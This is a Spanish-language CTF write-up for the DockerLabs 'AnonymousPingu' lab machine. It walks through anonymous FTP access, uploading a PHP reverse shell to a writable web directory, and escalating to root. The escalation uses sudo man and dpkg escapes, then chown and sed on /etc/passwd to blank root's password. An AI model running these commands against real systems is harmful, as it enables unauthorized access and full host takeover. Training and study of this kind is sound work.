> For the complete documentation index, see [llms.txt](https://ciberap.gitbook.io/ciberaprt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ciberap.gitbook.io/ciberaprt/dockerlbas/facil/anonymouspingu.md).

# AnonymousPingu

### Identificación <a href="#identificacion" id="identificacion"></a>

Para empezar hay que hacer un escaneo `nmap` para ver los puertos que están abiertos:

Copy

```bash
sudo nmap -p- -sS -sCV -Pn --open --min-rate=5000 172.17.0.2 -v
```

Con el comando `nmap` es el comando de escaneo de redes. El parámetro `-sS` hace que sea un escaneo más sigiloso para no ser detectado. El parámetro `-sCV` hace que nmap ejecute scripts para la recolección de información y la versión del servicio. El parámetro `-Pn` hace que no compruebe que el host esté activo. El parámetro `-n` indica que no realice la resolución de nombres DNS. El parámetro `--open` muestra todos los puertos que estén abiertos. El parámetro `-v` para que muestre lo que va encontrando en tiempo real.

Al terminar el escaneo muestra el siguiente resultado:

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0            7816 Nov 25  2019 about.html
| -rw-r--r--    1 0        0            8102 Nov 25  2019 contact.html
| drwxr-xr-x    2 0        0            4096 Jan 01  1970 css
| drwxr-xr-x    2 0        0            4096 Apr 28  2024 heustonn-html
| drwxr-xr-x    2 0        0            4096 Oct 23  2019 images
| -rw-r--r--    1 0        0           20162 Apr 28  2024 index.html
| drwxr-xr-x    2 0        0            4096 Oct 23  2019 js
| -rw-r--r--    1 0        0            9808 Nov 25  2019 service.html
|_drwxrwxrwx    1 33       33           4096 Apr 28  2024 upload [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Mantenimiento
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Nos salen **dos puertos** en el que en el primero podemos ver mas cosas:

* Puerto **21**: se corresponde al servicio **ftp** corriendo **vsftpd 3.0.5**.
* Puerto **80**: se corresponde al servicio **http** de **Apache httpd 2.4.58**.

### Vista de la web

Abrimos el **navegador web** y vemos el contenido.

<figure><img src="/files/4H7Nzx3eZhq2z7Tb22D3" alt=""><figcaption></figcaption></figure>

Como podemos ver en la web se trata sobre una web dedicada web en **Mantenimiento**.

Vemos un apartado que nos llama algo la atención llamada **Acceder al Backend**, por lo que al hacer click nos lleva a un **Index of /upload**.

Por lo que **ese directorio nos suena** del resultado de **nmap** visto anteriormente.

### Entrando a FTP

Como vemos el puerto **21** es del servicio **FTP** en el que nos indicaba el **resultado de nmap** que se podía tener acceso **anonimamente**, por lo que accedemos por la consola con el siguiente comando:

```bash
ftp 172.17.0.2
```

Y ponemos de usuario **anonymous** y automáticamente tendrémos acceso.

Y ya podemos ver lo que tenemos dentro.

<figure><img src="/files/qJNSaZM9TRsncP1HPhTT" alt=""><figcaption></figcaption></figure>

Como podemos ver **está la web dentro** por lo que podemos ver los archivos.

## Explotación

Para el momento de la **explotación** podemos usar **el directorio upload visto anteriormente**. ya que ademas tiene todos los permisos.

Para ello nos dirigimos al directorio **upload** al que después de crear el archivo **PHP** lo meteremos.

Creamos un archivo **php** por ejemplo con el nombre de `pingu.php` en el que ponemos el codigo de **Reverse Shell** de [**Pentest Monkey**](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php) configurándolo poniendo **nuestra dirección IP atacante**.

Después lo subimos con el comando **put** y nos navegamos entre los directorios con **cd**.

<figure><img src="/files/NoVrAvFF9gBvUM2YgcO7" alt=""><figcaption></figcaption></figure>

Así si volvemos al **navegador web** podremos observar si recargamos que aparece el nuevo archivo en **/upload**:

<figure><img src="/files/uf2XWvPQ7lagIyk6XCbS" alt=""><figcaption></figcaption></figure>

Así debido a que **nos interpreta el PHP** podemos hacernos una **Reverse Shell**.

## Escalada de privilegios

Al obtener la **Shell** vemos que es el usuario **www-data**, para ver los privilegios de **sudo** que tenemos podemos ejecutar el comando `sudo -l` y nos mostrará la siguiente información:

<figure><img src="/files/fvkyZSckxSf3dxtXIrFm" alt=""><figcaption></figcaption></figure>

Vemos que el usuario **pingu tiene permisos para&#x20;*****man***, por lo que podemos consultar la web de **GTFOBins** y podemos ejecutar el siguiente comando para **elevar los privilegios**.

```bash
sudo man man
!/bin/sh
```

&#x20;Por lo que **antes** hay que ejecutar el siguiente comando para tener el bash interactivo:

```bash
script /dev/null -c bash
export TERM=xterm
export SHELL=bash
```

Y así ya estamos de modo **mas interactivo** en el que podemos utilizar comandos como **clear**.

Pero falta el **tamaño de la terminal**, para ello abro una terminal nueva **del mismo tamaño** y ejecuto el comando `stty size` y copiamos los dos **números de abajo**, y volvemos al shell anterior de la máquina víctima y ejecutamos `stty rows 24 columns 83` **para ajustar el tamaño**.

Entonces ejecutamos lo dicho anteriormente pero con el usuario **pingu**.

```bash
sudo -u pingu /usr/bin/man man
```

Y ahí dentro ponemos el comando `!/bin/bash`.

Y ya seríamos usuario **pingu** en la máquina víctima.

### Accediendo al usuario Gladys

Para acceder al usuario **Gladys** ejecutamos el comando `sudo -l` y vemos los permisos que tenemos.

<figure><img src="/files/HJEzb8ebhqjlWqVCsRsq" alt=""><figcaption></figcaption></figure>

Y así podemos hacer **lo mismo que antes** pero usando el siguiente comando:

```bash
sudo -u gladys /usr/bin/dpkg -l
```

Y así ya seríamos **usuario Gladys**.

Ejecutamos de nuevo el comando `sudo -l` y así vemos lo siguiente para acceder al usuario **root**.

<figure><img src="/files/Ki3iWRCDM8tqmEl1Wf5v" alt=""><figcaption></figcaption></figure>

Como podemos ver **podemos ejecutar como root el comando chown**, por lo que vamos a **cambiar los permisos** del **passwd**.

```bash
sudo /usr/bin/chown $(id -un):$(id -gn) /etc/passwd
```

Y para **eliminar** la **x** del **inicio de seseión** ejecutamos el siguiente comando ya que no tenemos instalado ni **nano**, ni **vim**, ni **vi**, por lo que usaremos sed:

```bash
cd
sed 's/^root:[^:]*:/root::/' /etc/passwd > passwd
```

Y lo copiamos al original:

```bash
cp passwd /etc/passwd
```

Después de ello podremos ejecutar el comando **su root** sin ningún problema.

<figure><img src="/files/3sqdEIMlO5ZBkpNidLpg" alt=""><figcaption><p>Siendo root</p></figcaption></figure>

Y así mismo ya estamos como **usuario root**.

## Final

En esta máquina hemos **practicado** el **inicio de sesión anonimo por FTP**, también **Reverse Shell mediante PHP**, **escalada de privilegios por MAN** o parecido, y **escalación de privilegios mediante CHOWN** remplazando y modificando las propiedades del archivo **passwd**.
